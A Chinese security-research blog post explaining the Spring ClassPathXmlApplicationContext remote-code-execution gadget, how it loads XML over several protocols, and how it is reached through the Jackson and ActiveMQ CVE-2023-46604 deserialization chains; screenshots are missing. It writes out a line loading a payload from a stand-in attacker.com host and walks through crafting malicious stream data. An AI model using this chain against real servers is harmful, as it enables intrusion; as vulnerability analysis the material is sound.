【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

原文链接: https://mp.weixin.qq.com/s?__biz=Mzk3NTE3MjU4Mg==&mid=2247484302&idx=1&sn=42e0113f5e72ddc92f84826671500353

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

原创 Shelter1234 安全研究员 2025-07-21 14:00

ClassPathXmlApplicationContext 是 Spring 框架中的一个重要类,用于加载应用程序的上下文配置。它从类路径中读取 XML 配置文件,并根据该配置文件创建和管理 Spring 的 bean。它的构造函数接收一个 String 类型的路径参数,支持持 http://、file://、ftp://、classpath: 等多种协议。

new ClassPathXmlApplicationContext(“http://attacker.com/poc.xml”);

该类在初始化过程中会加载传入的 XML 文件,并解析其中的 定义,进而触发类加载、静态代码块执行等行为,常用于构造远程代码执行(RCE)利用链。

简单示例

假设我们有如下类

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

编写applicationContext.xml xml文件

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

使用ClassPathXmlApplicationContext进行加载

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

输出:得到这个bean对象 调用doSomething

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

假设applicationContext.xml 有如下的bean 我们则可以执行系统命令

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

只需创建context对象便可触发

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

ClassPathXmlApplicationContext 可支持的协议测试

1.http协议

使用python -m http.server -b 0.0.0.0 创建一个http服务,提供以下文件

(注意:加载的xml格式的文件与文件后缀无关)

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

ClassPathXmlApplicationContext加载,改xml格式的txt文件

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

执行结果

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

2.file协议

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

执行结果

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

3.ftp协议

本地起一个匿名服务器

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

运行结果

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

4.jar协议

jar cvf payload.jar poc.txt 生成jar包

测试结果

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

实战中的应用

  1. CVE-2017-17485

Jackson反序列化漏洞利用链

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

(关于jsckson的序列化利用姿势后面再讲解)

  1. Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞 CVE-2023-46604

BaseDataStreamMarshaller 中的createThrowable方法,将会对参数进行构造方法调用,实例化一个都对象。

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

若参数可控,可以考虑ClassPathXmlApplicationContext的打法利用链

右键find useages – createThrowable

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

跟进其中一个looseUnmarsalThrowable进行分析

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

clazz 与 message 均来自dataIn,貌似是一个输入流

继续分析looseUnmarsalThrowable的调用

右键find useages – looseUnmarsalThrowable

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

跟进其中一个ExceptionResponseMarshaller进行分析

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

继续向上分析looseUnmarshal 的调用

最终找到一个doUnmarshal的方法

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

这里我们需要做如下考虑

1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31

2,this.tightEncodingEnabled 成立

继续分析doUnmarshal的调用

右键find useages – doUnmarshal

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

来到unmarshal 方法

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

继续向上

右键find useages – unmarshal

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

来到readCommand()

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

readCommand()<—doRun()<—run()

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

至此调用链分析就结束了

要想成功加载恶意类,控制dataIn中的数据即可,

如何制造我们想要的序列化数据呢?

既然有readCommand,那么就会有writeCommand

参考下同类下的oneway方法

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

有兴趣的话可以分析producer.send(message);是如何到达oneway方法的

(在 Apache ActiveMQ 中,当调用 producer.send(message) 发送消息时,消息的发送过程经过了几个步骤,最终会触发 oneway 方法。)

我们可以直接获取oneway方法,并且传入exceptionResponse

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

之后用ExceptionResponse封装这个类

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

有如下生成恶意的流数据,让服务端读取数据时触发异常,创建ClassPathXmlApplicationContext 对象执行代码

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

或者使用其他形式生成流数据

【JAVA安全笔记】ClassPathXmlApplicationContext利用链 有参构造对象RCE打法

参考

https://blog.csdn.net/shelter1234567/article/details/137041683?spm=1011.2415.3001.5331 (自家博客)

https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/README.zh-cn.md